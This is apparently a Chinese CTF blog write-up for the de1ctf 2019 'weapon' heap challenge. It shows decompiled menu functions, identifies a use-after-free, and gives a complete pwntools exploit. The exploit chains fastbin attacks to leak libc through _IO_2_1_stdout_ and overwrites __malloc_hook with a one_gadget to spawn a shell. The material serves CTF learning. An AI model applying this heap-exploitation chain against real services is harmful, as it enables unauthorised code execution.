de1ctf_2019_weapon(_IO_FILE)

checksec:

全开

add:

__int64 add()
{
  int v1; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("wlecome input your size of weapon: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 0 || v1 > 96 )
  {
    printf("The size of weapon is too dangers!!", &v1);
    exit(0);
  }
  printf("input index: ", &v1);
  v2 = read_i();
  if ( v2 < 0 && v2 > 9 )
  {
    printf("error");
    exit(0);
  }
  v3 = malloc(v1);
  if ( !v3 )
  {
    printf("malloc error");
    exit(0);
  }
  size[4 * v2] = v1;
  *((_QWORD *)&heap + 2 * v2) = v3;
  puts("input your name:");
  sub_AF6(*((void **)&heap + 2 * v2), v1);
  return 0LL;
}

 

dele:

unsigned __int64 dele()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = read_i();
  if ( v1 < 0 && v1 > 9 )
  {
    printf("error");
    exit(0);
  }
  free(*((void **)&heap + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

 

edit:

unsigned __int64 edit()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx: ");
  v1 = read_i();
  if ( v1 < 0 && v1 > 9 )
  {
    printf("error");
    exit(0);
  }
  puts("new content:");
  sub_AF6(*((void **)&heap + 2 * v1), size[4 * v1]);
  puts("Done !");
  return __readfsqword(0x28u) ^ v2;
}

 

该题没有show函数,需要借助_IO_2_1_stdout_泄露libc,free函数指针未置空,存在uaf。
_IO_2_1_stdout_原理可参考:http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
简而言之就是覆盖_IO_write_base,当存在puts或printf之类的函数就会把目标地址泄露出来

先贴exp:(没有 try except爆破,直接手动爆破 )

#!/usr/bin/python
#coding:utf-8

from pwn import *
context(arch='amd64',log_level='debug')
#a=remote("node3.buuoj.cn",29625)
#g=gdb.debug("/root/ciscn")
a=process("/root/de1ctf")
elf=ELF("/root/de1ctf")
libc=ELF("libc-2.23.so")
one_gadget = [0x45216,0x45261,0xf02a4,0xf1147]
def add(size,index,content):
 a.sendlineafter('choice >> ','1')
 a.sendlineafter('wlecome input your size of weapon: ',str(size))
 a.sendlineafter('input index:',str(index))
 a.sendafter('input your name:',content)
 
def free(index):
 a.sendlineafter('choice >> ','2')
 a.sendlineafter('input idx :',str(index))

def edit(index,content):
 a.sendlineafter('choice >> ','3')
 a.sendlineafter('input idx: ',str(index))
 a.sendafter('new content:',content)


add(0x10,0,'aaaa')
add(0x10,1,'aaaa')
add(0x60,2,'aaaa')
add(0x10,3,'aaaa')

free(0)
free(1)
free(0)


add(0x10,0,p64(0)+p64(0x21))   
edit(1,'\x10')  # p1 
add(0x10,1,'a')
add(0x10,4,p64(0)+p64(0x91)) #p2
free(1) #p3
free(2) 
add(0x10,5,'zzzz')  #p4
edit(2,'\xdd\x65')

add(0x60,2,'v')
add(0x60,4,'a')
edit(4,'a'*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+p8(0x58))

libc_addr= u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] 
print hex(libc_addr)
one=one_gadget[3]+libc_addr
sys=libc_addr+libc.sym['system']
malloc=libc_addr+libc.sym['__malloc_hook']
free(2)
edit(2,p64(malloc-0x23))
add(0x60,2,'a'*0x13+p64(one))
add(0x60,5,'a'*0x13+p64(one))
add(0x60,6,'ccc')

gdb.attach(a)
a.interactive()

p1:

利用uaf修改fd指向箭头所示位置

p2:

伪造idx 1的size为0x91

p3:

free后即进入unsorted bin

p4:

申请一个大小为0x10的堆块,原unsorted bin中的fd,bk会进入fast bin中,这样一来,我们就能利用

fastbin attack修改_IO_2_1_stdout_

我们需要修改_IO_write_base,也就是图中标记的位置的值。

需要利用7f绕过fastbin的校验。

5dd的位置就存在一个7f,我们申请的堆块足够覆盖到目标位置,5dd前的那一位无法确定,爆破概率为1/16

泄露出的地址为_IO_2_1_stdout_+131

之后就是再利用一次fastbin attack通过onegadget获取shell。

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像